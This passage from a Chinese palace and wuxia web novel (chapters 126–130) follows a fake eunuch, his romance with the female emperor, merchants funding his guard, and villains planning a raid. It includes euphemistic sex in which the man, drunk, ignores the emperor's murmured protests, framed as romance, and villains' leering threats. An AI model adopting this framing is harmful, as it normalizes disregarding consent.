“这药……”秦烨突然凑近，在她耳边低语，“比不上你甜。” “登徒子！”上官瑾羞恼，抬手就要打他。可这一掌软绵绵的，哪有平日里的威严。 秦烨灵巧躲开：“陛下好生休息，我去准备晚膳。” 看着秦烨离去的背影，上官瑾轻轻摸了摸发烫的脸颊。这个男人，总是能轻易撩动她的心弦。她想起初见时的情景，那时的他还只是个普通的太监，如今却已成为她最信任的人。 夜色渐深，殿外传来更夫打更的声音。上官瑾躺在床榻上，听着窗外的虫鸣，思绪纷飞。 青云教的势力越来越大，朝中暗流涌动。上官煜虽是她的亲弟弟，却野心勃勃，不知在谋划什么。如今有了秦烨和虎卫，或许能稍稍安心。 想到这里、上官瑾轻叹一声。她何尝不知道，自己对秦烨的依赖越来越深。可是一国之君，又岂能儿女情长？ 正胡思乱想间，殿门被轻轻推开。秦烨端着食盒走进来，香气四溢。 “陛下该用膳了。”他将食盒放在床边的小几上，“都是些清淡的。” 上官瑾撑起身子，看着眼前精致的饭菜，不由问道：“你亲自下厨？” “略懂一二。”秦烨执起筷子，夹起一块清蒸鲈鱼，“尝尝看。” 上官瑾张口接过，鱼肉鲜嫩可口，调味恰到好处。她惊讶地看着秦烨：“你还会这个？” “为了照顾陛下，什么都得会一点。”秦烨继续喂她，“这些日子陛下操劳过度，该好好调养。” 上官瑾心中一暖，默默吃着秦烨喂来的饭菜。殿内一片安静，只有筷子偶尔碰撞的声音。 用完晚膳，秦烨收拾妥当，正要告退。 “你留下。”上官瑾突然开口。 秦烨一愣：“陛下？” “我……我想听听虎卫的事。”上官瑾掩饰着内心的慌乱，“既然要调动影卫，总要了解详细。” 秦烨看着她微红的脸颊，心中了然。他在床边坐下，开始详细讲解虎卫的构架和计划。 夜渐深，上官瑾不知不觉靠在秦烨肩上睡着了。月光透过窗棂，洒在她恬静的睡颜上。秦烨轻轻将她放平，为她掖好被角。 “晚安，我的陛下。”他在她耳边轻语。 承明殿内一片温馨，而汴城商会却暗流涌动。 柳富金端坐在雕花檀木椅上，目光扫过堂下众人。大厅内檀香袅袅，茶香四溢，却掩盖不住那股剑拔弩张的气氛。 “诸位，”他正了正神色，“今日召集大家来，是要商议一件事。” 堂下众人屏息凝神，等待着他的下文。 “关于秦烨的投资问题。” 这话一出，立刻激起一阵骚动。有人交头接耳，有人皱眉沉思，更有人露出不屑的神色。 秦烨，这个名字最近在汴城可谓是人尽皆知。作为汴城商会的名誉会长，他本该是众人眼中极具价值的投资对象。但如今的形势，却让不少人心生动摇。 “会长，在下有话要说。” 一个身着锦袍的中年人站了起来，他是汴城布行的东家景长青。只见他捋了捋胡须，眼中掩饰不住轻蔑的神色。 柳富金微微颔首：“景会长请讲。” “秦烨此人，说到底不过是个太监罢了。”景长青冷笑一声，声音中带着几分不屑，“况且他的好友赵马玄已死，听说还牵连到了他身上。这样的人，还值得我们投资吗？” 他的话音刚落，立即引来一片附和声。 “不错！”坐在角落的茶商李老板站起身来，“做生意要讲究风险和收益，现在投资秦烨，风险太大了。” “我看不如暂缓投资，观望一段时间再说。”又有人提议道。 柳富金正要开口，一个清朗的声音突然响起：“诸位说得都对，但未免太过短视了。” 众人循声望去，只见钱有德正悠然地品着茶，目光平静地扫过在座的每一个人。 “钱大人此言何意？”景长青眉头一皱。 钱有德放下茶杯，嘴角勾起一抹意味深长的笑意：“秦公公虽是太监，但诸位可知我这工部代理尚书是如何得来的？” 众人面面相觑，不明所以。 “正是秦公公一手促成。” 此言一出，堂内顿时一片哗然。有人倒吸一口凉气，有人瞪大了眼睛，更有人露出难以置信的表情。 “这……”景长青的脸色微微发白，“当真？” 钱有德端起茶杯，轻轻抿了一口：“不仅如此，前些日子朝廷国库亏空，陛下号召群臣捐款，却无人响应。但秦公公出面后，短短数日就募集了数百万两白银。” “数百万两？”众人再次震惊。 这等手段，已经远远超出了一个普通太监的能力范畴。 众人面面相觑，神色各异。有人开始盘算着如何重新靠近秦烨，有人则在懊悔之前的轻视。空气中弥漫着一股复杂的气息。 景长青擦了擦额头的冷汗，眼神闪烁：“这……” 秦烨的潜力如此之大，他们这些商人却只顾着眼前那点蝇头小利，差点错过这等人物。有人暗自叹息，有人眉头紧锁，更有人懊悔不已。 “早知如此……”柳富金喃喃自语，手指无意识地敲击着桌面。他想起女儿对秦烨的态度，不由得苦笑。即便他是太监，那又如何？如今看来，这身份反而成了他最大的助力。 第一百二十六章 投资秦烨 窗外，柳霜华靠在墙边，裙摆被风吹得轻轻摆动。她将会议内容听得清清楚楚，脑海中不断浮现与秦烨相处的点点滴滴。 记忆中的少年郎眉目如画，举手投足间自有一番风度。那时的她，被他俊朗的外表所吸引，却在得知他是太监后，毅然选择疏远。 “你永远不会明白……”柳霜华轻声呢喃，眼角有泪光闪烁。她永远不会忘记，当她刻意躲避时，秦烨眼中一闪而过的黯然。 “若不是钱大人今日这番话点醒，我等险些错过一位贵人啊。”柳富金打破沉默，声音里带着几分懊悔。 “确实如此。”一位身着锦袍的会长附和道，“现在知道还不晚，我们可以加大对秦大人的投资力度。” “是啊，秦大人年纪轻轻就位居要职，未来前途不可限量。”另一位会长接话，语气中满是讨好之意。 钱有德端起茶杯，轻轻抿了一口，冷笑道：“雪中送炭易得人心，锦上添花难留印象。诸位现在想通，只怕已经晚了。” 众人面面相觑，这话说得在理。如今他们只能锦上添花，已经错过了最佳时机。会议室内的气氛更加压抑，连呼吸声都变得格外清晰。 “添一朵花总比不添强。”一位年长的会长小声道，“总不能眼睁睁看着机会溜走。” 柳富金放下茶杯，拱手问道：“钱大人与秦公公多有往来，可知他现在最需要什么？” 钱有德嘴角勾起一抹意味深长的笑容：“说来也简单，不过是缺银子罢了。” “银子？”众人一愣，眼中闪过不解。 “朝廷国库空虚，秦公公虽已召集百官捐款，但远远不够。”钱有德放下茶杯，继续道，“如果他能给陛下砸下一大笔银子，在陛下心中的地位必然更上一层。” 话音刚落，众人眼前一亮。这确实是个好机会，既能帮秦烨解决燃眉之急，又能与他结下善缘。但转念一想，若是单纯送钱，如何能让秦烨记住他们的好？ 钱有德似乎看出了他们的顾虑，笑道：“诸位放心，我可以引荐大家与秦公公相识。汴城商会一体，我得到的消息自然也会与诸位分享。” “多谢钱大人！”众人大喜过望，纷纷起身道谢。 “只是……”一位身材瘦小的会长犹豫道，“要是秦公公不接招呢？” “这你们尽管放心。”钱有德胸有成竹，“秦公公最近组建虎卫，招募了不少江湖高手，正是用钱的时候。况且，这笔钱是为朝廷筹措，他没有理由拒绝。” 柳富金适时补充道：“秦公公近日常来我府上，待他下次来访，我便提这事。” 众人闻言，纷纷向柳富金投去感激的目光。有了这层关系，送礼的事便好办多了。 会议结束后，柳府内。 柳富金父女正与沈飞雪在花厅攀谈。庭院中的海棠开得正艳，阵阵花香随风飘入。 得知沈飞雪的真实身份后，柳富金态度愈发恭敬。他深知，能与秦烨走得近的人，绝非等闲之辈。 “沈姑娘，这些日子多有怠慢，还望见谅。”柳富金笑道，目光中带着几分讨好。 沈飞雪淡淡一笑：“柳老爷太客气了。”她的目光若有若无地扫过柳霜华，眼中闪过一丝深意。 柳霜华坐在一旁，心不在焉。她满脑子都是秦烨的事，手中的帕子被揉搓得皱巴巴的。懊悔、不甘、遗憾，种种情绪在心头翻涌。 “霜华，你怎么了？”柳富金察觉到女儿的异样，关切地问道。 “没什么，就是有些累了。”柳霜华勉强挤出一丝笑容，却掩饰不住眼中的黯然。 沈飞雪看了她一眼，似乎看穿了什么，却并未点破。她轻抿了一口茶，任由沉默在空气中蔓延。 “对了，沈姑娘。”柳富金岔开话题，“不知秦公公这些日子可还好？” “托柳老爷的福，一切都好。”沈飞雪答道，语气平淡。 汴城商会的人脉网络就像一张无形的大网，笼罩着整个汴城的权贵圈子。每一根线都牵动着无数利益，每一个节点都关系着无数命运。 柳富金站在自家院中的石亭里，望着远处的朱红围墙若有所思。作为汴城商会的老人，他早已练就了一身察言观色的本事。多年来，他深谙其中门道，深知要在这汴城立足，就得把握住每一个机会。 “柳会长，您说这汴城里，到底还有多少像我这样的侠女？”沈飞雪坐在石桌旁，一边摆弄着手中的茶盏，一边笑吟吟地问道。 柳富金转过身来，脸上堆满笑容：“展小姐说笑了，像您这样的侠女，可是凤毛麟角啊。” “柳会长过奖了。”沈飞雪抿了一口茶，眼中闪过一丝得意。这些天在柳府的待遇，让她对柳富金父女的好感与日俱增。 远处的院落里，商媛正坐在廊下的木椅上，眉头微蹙。这段时间她一直在帮秦烨收拢玄铁会的旧部，但效果并不理想。大多数人选择了金盆洗手，只有少数愿意加入新成立的虎卫。 “唉……”她轻叹一声，手指无意识地摩挲着椅子扶手。 武勇正在不远处擦拭宝刀，听到叹息声抬头看了一眼：“商姑娘，有心事？” “武大哥，你说这虎卫……”商媛欲言又止。 武勇放下手中的布条：“事在人为，慢慢来吧。” 就在这时，一阵急促的脚步声打断了两人的谈话。 “老爷，秦大人来了！”家仆的声音从院外传来。 柳富金眼中精光一闪，立即整了整衣襟。商媛闻讯也快步走来，连正在擦拭宝刀的武勇都放下了手中的活计。 秦烨带着韩九和沈化林走进院子，目光在众人脸上扫过。他身着一袭青衫，腰间配剑，举手投足间自有一股威严。 “秦大人，别来无恙。”柳富金拱手行礼，脸上的笑容更深了几分。 柳霜华站在一旁，看向秦烨的眼神中带着几分说不清道不明的情愫。她下意识地整理了一下衣裙，却又觉得这动作太过刻意，连忙停下。 商媛快步上前，站在秦烨身边，眼中带着几分埋怨：“这些天都不来看看嫂嫂？” “公务繁忙，这才几天没来？”秦烨笑着应道。 “我怎么觉得像过了好久。”商媛嗔道，语气中带着几分撒娇的意味。 众人都笑了起来，只有柳霜华心中泛起一丝酸意。她低下头，不动声色地退后了半步。 第一百二十七章 筹措经费 秦烨走到柳富金面前，开门见山道：“柳会长，我有件事需要你帮忙。” “秦大人但说无妨，只要老夫能办到的，定当全力相助。”柳富金拍着胸脯保证。 “我得搞点钱财。” 这话一出，沈飞雪猛地站起身来，茶盏“啪”的一声摔在地上。 “你这个贪官！竟敢明目张胆地勒索！”她指着秦烨，声音里带着难以置信的愤怒。 秦烨一愣，没想到会有这么一出。院子里的气氛瞬间凝固。 “沈姑娘，你误会了……”柳富金连忙解释，额头上已经渗出细密的汗珠。 沈飞雪却更加激动，脸颊因愤怒而泛红：“柳会长，你不用怕他！我最看不惯这种仗势欺人的官员！” “小师妹，别对恩公不敬。”武勇皱眉出声。 沈飞雪转向武勇：“连你也帮着他说话？他住那么大的宅子，凭什么还要管别人要钱？这不是明摆着贪污吗？” “这是为虎卫筹措经费。”秦烨无奈解释，语气中带着几分疲惫。 “连经费都要靠勒索，这样的组织还是不要加入的好。”沈飞雪冷哼一声，转过身去。 “沈姑娘有所不知，”柳富金赶紧解释，擦了擦额头的汗，“秦大人是我们汴城商会的会长，我们帮他是应该的。” “什么？”沈飞雪猛地转身，瞪大了眼睛。 柳霜华也在一旁帮腔：“飞雪，这是真的。我父亲说的没错。” 沈飞雪气得直跺脚，脸上一阵红一阵白：“你们……你们怎么能这样！早知道他是会长，我刚才就不该……” 看着她气鼓鼓的样子，秦烨忍不住笑了：“现在总该相信了吧？” “哼！”沈飞雪扭过头去，但脸上已经挂不住了，耳根悄悄红了起来。 秦烨转向柳富金：“柳会长，这笔银子……” “秦大人放心，老夫这就去准备。”柳富金满脸堆笑，眼角的皱纹都舒展开了。 这时，韩九快步上前，在秦烨耳边低语了几句。秦烨的表情瞬间严肃起来。 “事不宜迟，柳会长，咱们书房详谈。”秦烨沉声道。 “好好好。”柳富金做了个请的手势，转身引路。 商媛想跟上去，却被秦烨轻轻摇头制止。她站在原地，眼中闪过一丝担忧。 沈飞雪看着两人的背影，还在生闷气。她坐回石凳上，手指无意识地摩挲着桌面。 武勇走到她身边：“小师妹，你还不了解秦大人。他为人正直，从不贪赃枉法。当初要不是他，我们……” “我才不信。”沈飞雪嘴硬道，但语气已经软了下来。她偷偷瞥了一眼书房的方向。 柳霜华也凑过来：“飞雪，秦大人真的不是你想的那样。他帮过很多人，连我父亲都说他是难得的正人君子。” 沈飞雪看看这个，又看看那个，最后叹了口气：“好吧好吧，是我误会了还不行吗？” 商媛笑着拉住她的手：“来，我给你讲讲秦烨的事。你知道他是怎么当上汴城商会会长的吗？” 院子里，阳光正好，几个人说说笑笑，气氛渐渐融洽起来。沈化林站在一旁，目光警惕地扫视四周，时刻保持着警戒。 而在书房里，秦烨和柳富金的谈话才刚刚开始。 “秦大人，这笔银子数目不小啊。”柳富金坐在太师椅上，捋着胡须道。 秦烨站在窗前，看着院中的景象：“柳会长，虎卫刚刚成立，很多事情都需要银子。” “这个自然，”柳富金点点头，“不过老夫还是想问问，这虎卫到底是要做什么？” 秦烨转过身来，目光如炬：“保护汴城百姓，维护朝廷安宁。” 柳富金眼中精光闪烁：“就这么简单？” “就这么简单。”秦烨淡淡道。 “好！”柳富金一拍桌子，“老夫这就去准备银子。不过……” “不过什么？” “老夫希望秦大人记住今天的承诺。”柳富金意味深长地说。 秦烨点点头：“柳会长放心。” 书房里，两人的目光在空中交汇，各自都看到了对方眼中的深意。这一刻，某种默契悄然达成。 夜色渐浓，汴城商会门前灯火通明。沈飞雪站在门口，看着眼前熙熙攘攘的人群，眉头紧锁。她本以为是来阻止一场欺压勒索，却不想眼前的场景让她一时难以理解。 “你这个骗子！”沈飞雪终于按捺不住，快步上前指着秦烨的鼻子，眼中闪烁着愤怒的火花，“我看你就是仗着权势，欺压这些商人！” 秦烨转过身，目光落在这位义愤填膺的姑娘身上。她一袭红衣，明艳动人，却又带着几分不谙世事的天真。这种单纯的性子，在尔虞我诈的汴城还真是少见。 “小姑娘，你是不是误会什么了？”秦烨轻笑着摇了摇头，语气中带着几分无奈。 沈飞雪冷哼一声，双手叉腰：“误会？我看得清清楚楚，这些商人哪个不是被你逼迫的？整个汴城谁不知道你秦烨是个贪得无厌的太监！” 周围的商人闻言，纷纷露出尴尬的神色。有几个年轻些的甚至忍不住低声笑了起来。 秦烨还未开口，柳富金已经快步走了过来。这位汴城商会的会长平日里在商界呼风唤雨，此刻却像个孙子似的，满脸堆笑：“秦大人，我们汴城商会的其他长老都想见见您，不知您是否有空？” “柳会长客气了。”秦烨微微一笑，目光扫过四周，“今日正好借着筹措经费的机会，见见诸位也好。” 柳富金闻言大喜过望，连声道：“那我这就让人去准备宴席！来人，快去准备上等的酒菜！” 沈飞雪站在一旁，看着柳富金匆匆离去的背影，眉头越皱越紧。她总觉得这其中有什么不对劲，可又说不上来。 不多时，汴城商会的众位长老纷纷赶到。让沈飞雪目瞪口呆的是，这些平日里高高在上的商贾，竟然争先恐后地向秦烨献上银票。 “秦总管，这是小小心意，还望笑纳。” “秦大人，您一定要收下啊！这全是我们的心意。” “能为虎卫尽一份力，是我们的荣幸！” 沈飞雪看得目瞪口呆。这些人脸上的笑容发自内心，眼中满是真诚，哪有半点被胁迫的样子？ 武勇不知何时来到沈飞雪身边，轻声道：“小师妹，现在你明白了吧？秦大人为虎卫筹措经费，这些商人都是自愿捐献的。” 沈飞雪咬着嘴唇，脸上一阵红一阵白。她确实误会了秦烨，可这种时候，要她当众道歉，实在是有些难为情。 宴席很快开始，觥筹交错间，气氛愈发热烈。秦烨被众人围着敬酒，举手投足间尽显从容。商媛坐在他身边，不时为他夹菜布菜，俨然一副贤内助的模样。 柳霜华站在不远处，看着这一幕，眼中闪过一丝黯然。她端着酒杯，一口饮尽，辛辣的酒水顺着喉咙滑下，却浇不灭心中那份说不清道不明的情绪。 第一百二十八章 出手试探 酒过三巡，菜过五味。众人渐渐散去，偌大的厅堂渐渐安静下来。商媛已经醉倒，靠在秦烨肩上沉沉睡去，呼吸绵长。 沈飞雪终于找到机会，蹑手蹑脚地走到秦烨身边。她踌躇了半天，才低声开口：“那个……对不起……” “嗯？你说什么？”秦烨故意问道，嘴角挂着戏谑的笑意。 “我说对不起！”沈飞雪涨红了脸，像个做错事的小孩子，“我不应错怪你……不该说那些话……” 秦烨看着她窘迫的样子，不禁莞尔：“无妨，你也是出于好心。换做是我，看到这种场面，可能也会误会。” 沈飞雪抬起头，“不过我还有个疑问……” “什么疑问？” “与其问出来，不如我自己验证！” 话音未落，沈飞雪的手已经闪电般探向秦烨的要害之处。这一招来得又快又狠，若是普通人，定然躲闪不及。 “哎哟！”秦烨反应极快，一把抓住她的手腕。他的手掌宽厚有力，让沈飞雪心头一惊。 “你这是做什么？”秦烨的声音带着几分无奈。 “我就是想看看，你到底是不是真太监！”沈飞雪理直气壮地说，“你的举止言谈，哪里像个太监了？” 就在这时，靠在秦烨肩上的商媛一歪头，直接朝着他的腿上倒去。她喝得烂醉，这一倒若是磕着了，怕是要留下淤青。 秦烨心中暗叫不好。他一只手抓着沈飞雪，另一只手又不好去扶商媛，一时间竟有些进退两难。这种尴尬的处境，让他额头渗出细密的汗珠。 “你先松开我！”沈飞雪急道，她也看出了事情的严重性。 “你保证不乱来？”秦烨依旧不敢松手。 “都什么时候了，还说这个！” 秦烨无奈，只得松开沈飞雪的手，赶紧去扶商媛。好在及时托住了她的肩膀，这才避免了一场尴尬。可下一秒，秦烨的脸色骤变，一股热浪从商媛口鼻间喷涌而出，恰巧喷在了他的脖颈之间。不仅如此，摇曳的烛火映照着她苍白的面容，让人不由得心生怜惜。 更让他心惊的是，商媛已经醒了过来。可她为何迟迟不起身？难道是身体还未恢复？还是说……察觉到了什么？ 秦烨强压下心中的不安，连忙伸手将商媛扶起：“嫂嫂，没事吧？要不要我去请大夫？” “无事。”商媛轻轻摇头，目光若有所思地打量着秦烨。那眼神深邃莫测，仿佛要将他看透一般。 这眼神让秦烨背后直冒冷汗，手心不自觉地渗出细密的汗珠。莫非自己露出了什么马脚？他暗自调整呼吸，努力让自己看起来更加自然。 殿内一时陷入沉默，空气仿佛凝固了一般。 正当他忐忑不安时，沈飞雪又开始了新一轮的试探。她再次看向秦烨，眼中闪烁着狡黠的光芒。 “小师妹，你这是又要做什么？”秦烨皱眉看向沈飞雪，语气中带着几分警惕。 沈飞雪吐了吐舌头，故作天真道：“看看怎么了？我一个女子都不害羞，你一个男人反倒扭扭捏捏的。”她说着，目光不断在秦烨身上游移。 秦烨脸色一沉，眉头紧锁：“这种事岂能随意让人看？你就不懂得尊重他人吗？” “宝宝就是好奇嘛。”沈飞雪眯起眼睛，语气突然变得意味深长，“还是说……你根本不是真太监？” 这句话如同一记重锤，狠狠击在秦烨心头。他强自镇定，冷笑一声：“想太多了。” 可心中却是一阵慌乱。这丫头看似大大咧咧，竟然也能察觉到蛛丝马迹。看来自己最近确实有些松懈了，以后行事必须更加谨慎才是。 就在这时，商媛适时解围：“秦烨，我有些困了，想回房休息。” “好。”秦烨如蒙大赦，赶紧起身搀扶，“嫂嫂小心脚下，我送你回房。” 临走前，他回头瞪了沈飞雪一眼：“回头再收拾你。”语气中带着几分威胁。 “哼！”沈飞雪冷哼一声，看着两人远去的背影，暗暗攥紧了拳头，指甲都快掐进肉里，“我一定能揪出实情。” 这段时日相处下来，沈飞雪总觉得秦烨浑身上下都透着古怪。一个太监，怎会有如此阳刚之气？而且他的举手投足间，也总是带着几分江湖气息。 虽然这次试探失败了，但她决不会轻易放弃。作为江湖中人的直觉告诉她，秦烨一定有古怪。 夜色渐深，月光如水般倾泻而下。 安顿好商媛后，秦烨带着沈化林和韩九往宫城方向走去，心事重重。 作为江湖中人，他很清楚同道之人五感远胜常人。沈飞雪今日的怀疑绝非无的放矢，她必定察觉到了什么。 自己非太监之事越少人知道越好，可知情者却在不断增加。这让秦烨不禁有些头疼，额角隐隐作痛。 “大人，您看起来似乎有心事？”沈化林小心翼翼地问道。 秦烨摆了摆手：“无事，只是有些疲惫罢了。” 韩九插话道：“大人，要不要属下去打探一下沈姑娘的底细？” “不必了。”秦烨摇头，“多一事不如少一事。况且……她若真要查，也未必能查出什么。” 说是这么说，可他心里却没有丝毫把握。江湖中人最是敏锐，一旦被人起疑，想要完全蒙混过关并非易事。 与此同时，承明殿内。 上官瑾躺在床榻上辗转反侧，始终无法入眠。烛火在风中摇曳，在墙上投下摇摆不定的影子。 她不明白自己何时养成了这般习惯，没有秦烨在侧，竟连觉都睡不安稳。这个奴婢，不知不觉间已在她心中占据了如此重要的位置。 想到秦烨迟迟未归，上官瑾心中莫名烦躁。【他现在在做什么？该不会是和那个美艳妇人在一起吧？】 这个念头一起，她心口便隐隐作痛。指尖无意识地揪着锦被，眉头紧锁。 吱呀一声，殿门被推开。 秦烨举着灯笼走了进来，昏黄的灯光映照着他疲惫的面容：“陛下还未安寝？” 上官瑾柳眉微蹙，语气中带着几分责备：“你今日去做什么了？为何这么晚才回来？” “为虎卫筹措了些经费。”秦烨在她身边坐下，身上还带着几分酒气。 上官瑾闻到他身上的酒气，不悦道：“怎么喝了这么多酒？”语气中带着几分醋意。 第一百二十九章 要求留宿 “大家敬酒，不好推辞。”秦烨解释道，眼中带着几分歉意。 “臭死了。”上官瑾嫌弃地皱眉，却没有真的躲开。 秦烨故作不悦：“你嫌弃我？” “对，就是嫌弃。”上官瑾扭过头去，却掩饰不住嘴角的笑意。 “那我走？”秦烨作势要起身。 “朕不许你走，你敢走试试。”上官瑾连忙拦住他，语气中带着几分撒娇的意味。 秦烨笑道：“我就知道陛下舍不得我。” “谁舍不得你了？”上官瑾白了他一眼，“朕是要你留宿。” “什么？”秦烨一笑，急忙地解起腰带，“陛下早说啊，今晚我一定让您欲仙欲死。” 秦烨解开腰带的动作干脆利落，丝绸腰带在空中划出一道优美的弧线。 上官瑾的俏脸瞬间飞上两朵红云，眼神不自觉地闪躲着，纤细的手指紧紧攥住床榻上的锦被。月光透过窗棂洒落进来，为这暧昧的气氛平添了几分朦胧。 “大胆！还不速速将此物收起！”她故作威严地呵斥，声音却带着一丝颤抖，“朕……朕乃九五之尊，岂容你如此放肆！” 秦烨轻笑一声，缓步向前：“陛下召我侍寝，这不正是应该的么？”他的目光灼灼，“再说了，若是不先解决了我的问题，万一我又让其他嫔妃有了身孕，那可就……” “你……”上官瑾咬着红唇，眼中闪过一丝慌乱，随即又浮现出娇嗔的神色，“朕这几日染了风寒，你舍得让朕受累？” 秦烨眉头微皱，仔细打量着她略显苍白的脸色。月光下，她的肌肤透着病态的白皙，眼角眉梢都透着一丝疲惫。他叹了口气：“也罢，我自己来吧。” 转身背对着上官瑾，秦烨开始自行解决。寝殿内一时只剩下他粗重的呼吸声。时间一点点过去，上官瑾偷眼瞧着他的背影，心中不知为何泛起一丝怜惜。那挺拔的身影在月光下显得格外孤寂。 “罢了罢了。”她轻声道，声音柔软得不像话，“还是……朕来帮你吧。就当是体恤你这个臣子了。” “多谢陛下恩典。”秦烨转身，嘴角勾起一抹意味深长的笑意。 放下帐幔，秦烨再也把持不住，借着酒意，忽略上官瑾欲迎还拒的嘟囔声，很快便提枪上阵，驰骋杀伐起来。 次日清晨，汴城街头一片喧嚣。阳光明媚，街道两旁的店铺陆续开门，小贩的吆喝声此起彼伏。 原本玄铁会的旧址焕然一新，门楣上悬挂着崭新的牌匾，上书“虎卫”二字，金漆的字迹在阳光下熠熠生辉。路过的行人纷纷驻足观望，议论纷纷。 “这是什么新势力？”一个挑着担子的小贩好奇地问道。 “听说是朝廷新设的机构。”旁边的茶摊老板压低声音，“专门管理汴城地下势力的。” “原来玄铁会的地盘，现在成了官面上的地方？”又有人惊讶道。 秦烨站在二楼的窗前，听着楼下众人的议论。他选择这里作为虎卫总部，一来地理位置优越，位于汴城繁华地段；二来也算是对赵马玄的一种纪念。更重要的是，虎卫即将开始清剿汴城地下势力，需要一个显眼的招牌震慑宵小。 “大人。”一名虎卫成员快步走来，“已经按您的吩咐，将各个区域的负责人都安排妥当了。” 秦烨点点头：“让他们先摸清各自辖区内的情况，暂时不要轻举妄动。” “是。”那人应声退下。 与此同时，藩王府内。 上官煜一身白衣端坐在主位上，正与一位白发苍苍的老者对坐。这位景长老是他从青云教请来的高手，一身修为深不可测。 “景长老从远方赶来，辛苦了。”上官煜温和地说道，亲自为老者斟茶。 老者连忙起身拱手：“为主上效力，是属下的福分。” 就在此时，一名黑衣人匆匆进来，称有事禀报。 黑衣人跪在大厅中央，额头渗出细密的汗珠。他能感受到来自上峰那道凌厉的目光，仿佛利剑般刺在后背，令人不寒而栗。 “主上，属下已经查清，汴城内还有二十个帮派未除。”黑衣人声音微颤，生怕说错一个字。 上官煜坐在太师椅上，手指轻叩扶手。面沉如水。“详细说说。” “是。”黑衣人擦了擦额头的冷汗，“中型帮派有八个，分别是玄武会、龙吟帮、游隼堂……” “说重点。”上官煜打断道，眼中闪过一丝不耐。 黑衣人心头一紧，连忙改口：“这些帮派虽然人数不少，但实力有限。最近倒是出现了一个新帮派，叫虎卫，就在原先玄铁会的旧址。” 此言一出，厅内气氛骤然凝重。 站在上官煜身后的明远和苏华对视一眼，眼中寒光闪烁。玄铁会前不久才被青云教血洗，对方此时占据旧址，这分明是在挑衅！ “有意思。”上官煜冷笑一声，“看来有人是活得不耐烦了。” 一旁的景长老捋着胡须，眉头紧皱：“这虎卫究竟是什么来历？” “回禀长老，虎卫成立不过半月，但发展极快。”黑衣人小心翼翼地回答，“他们不仅占据了玄铁会的地盘，还在暗中收拢其他帮派的势力。” “哦？”上官煜眸光一凝，“看来是有备而来。” 明远上前一步：“主上，此事不能轻忽。若让他们坐大，恐怕会影响我青云教在汴城的布局。” “明远说得对。”苏华附和道，“不如让我和明远即刻前往，将这虎卫……” “不急。”上官煜抬手制止，目光落在窗外的夜色中，“既然敢在这个时候立帮，想必是有些依仗。景长老，你怎么看？” 景长老思索片刻：“老夫建议先派人探查虚实。这虎卫来历不明，若贸然出手，恐怕会打草惊蛇。” “那就让他们再蹦跶几天。”上官煜站起身，负手而立，“黑衣人，你继续盯着。其他帮派的事，暂且放一放。” 黑衣人如蒙大赦，连忙应道：“是！属下一定盯紧虎卫的一举一动。” “明远、苏华。”上官煜转身，“你们二人暗中布置，不要打草惊蛇。等时机成熟，一举拿下。” “是！”二人齐声应道。 景长老忽然想到什么：“主上，要不要通知其他堂口？” “不必。”上官煜眼中闪过杀意，“区区一个新起的帮派，还不值得惊动他们。” 明远和苏华站在一旁，眼中杀意毕露。他们跟随上官煜多年，还从未见过有人敢如此明目张胆地挑衅青云教。 景长老若有所思地捋着胡须，目光闪烁。这个突然冒出来的虎卫，背后究竟有什么势力支持？ “去吧。”上官煜挥了挥手，“记住，不要打草惊蛇。” 第一百三十章 上门滋事 众人领命退下，大厅内只剩下上官煜一人。 他站在窗前，看着汴城的夜色。灯火阑珊处，似有无数暗流在涌动。 青云教立足汴城不易，好不容易将地下势力清理得差不多，却又冒出这么一个不知天高地厚的虎卫。 上官煜眼中寒光闪烁，手指不自觉地扣在窗框上。 汴城的地下世界，不需要太多势力。任何不服从的帮派，都将被无情铲除。 夜风吹过，带来了几分凉意。 远处的街道上，几个黑影匆匆而过。或许是虎卫的人，又或许是其他帮派的眼线。 在这个风起云涌的夜晚，每个人都在暗中较量，等待着最后的胜负。 明远和苏华已经开始着手布置，他们要确保这次行动万无一失。 景长老则派出了自己的暗线，要摸清虎卫的底细。 黑衣人匆匆离去，他知道自己肩负重任。若是出了差错，恐怕性命难保。 上官煜依旧站在窗前，目光深邃。 这个不知天高地厚的虎卫，很快就会明白，挑衅青云教的代价究竟有多么惨重。 一行人匆匆离开上官煜的府邸，直奔虎卫而去。夜色已深，汴城的街道上行人寥寥，只有零星的灯火在黑暗中摇曳。 明远走在最前面，月光下他那张阴鸷的脸庞显得格外狰狞。他的脚步很快，仿佛迫不及待要大开杀戒。身后的景长老和苏华紧随其后，四名黑衣人则默默无声地跟在后面。 “这虎卫，不过是一群乌合之众罢了。”明远一边走一边冷笑，“上次血洗玄铁会的感觉，真是痛快啊。那些人在我面前，就像蝼蚁一样不堪一击。” 景长老阴恻恻地附和：“是啊，那些人的惨叫声至今还在我耳边回响。”他舔了舔干裂的嘴唇，“特别是那些女人，死前的表情真是令人难忘。” 苏华听着两人的对话，眉头微皱。她虽然也是青云教的人，但对这种肆意杀戮的行径始终无法认同。只是在青云教中，她也只能选择沉默。 夜风吹过，带来一丝凉意。苏华下意识地裹紧了衣服，却感觉到一道不怀好意的目光正在打量着自己。 “苏华姑娘，”景长老突然凑近，他那张布满皱纹的脸在月光下显得格外可怖，“你这身白衣真是好看，不过……” “滚开！”苏华厉声喝道，手已经按在了剑柄上。 景长老讪讪地退开几步，但眼中的贪婪之色却丝毫未减。他转而将目光投向前方，喃喃自语：“听说虎卫里也有几个美人，今晚怕是要热闹了。” 很快，一行人来到了虎卫总部前。这是一座普通的院落，在夜色中显得格外寂静。 明远闭目感应了一下，随即睁开眼睛：“感知到几阵气流，实力一般。看来这虎卫也不过如此。” “分头行动。”景长老下令道，“你们四个，从后院潜入。我们从正门进去。” 四名黑衣人领命，悄无声息地消失在夜色中。 此时的虎卫总部内，书房中灯火通明。鬱风、秦韶华和褚煦正在商议着扩充势力的事宜。 “现在的形势不容乐观。”鬱风皱着眉头说道，“我们人手太少，连个守门的都没有。如果遇到敌人突袭……” 秦韶华接过话头：“是啊，自从赵马玄帮主被害后，很多人都不敢加入我们。” 褚煦正要说话，突然感觉到一股强大的气息逼近。下一刻，书房的门轰然碎裂，木屑四溅。 三人瞬间站起，只见门外站着三个人影。为首的男子一身黑衣，脸上带着狰狞的笑容。 “这里已经被我们青云教接管了。”明远冷笑道，“识相的赶紧滚，否则……” “青云教？”秦韶华眼中燃起怒火，“就是你们干掉了我们帮主赵马玄！” “原来是玄铁会的余孽。”明远大笑起来，笑声中充满了轻蔑，“今天就送你们去和你们帮主团聚。” 景长老的目光在秦韶华身上来回扫视，露出猥琐的笑容：“这么漂亮的姑娘，要不要考虑投降？老夫可以饶你一命，还能让你享受一下人间极乐。” 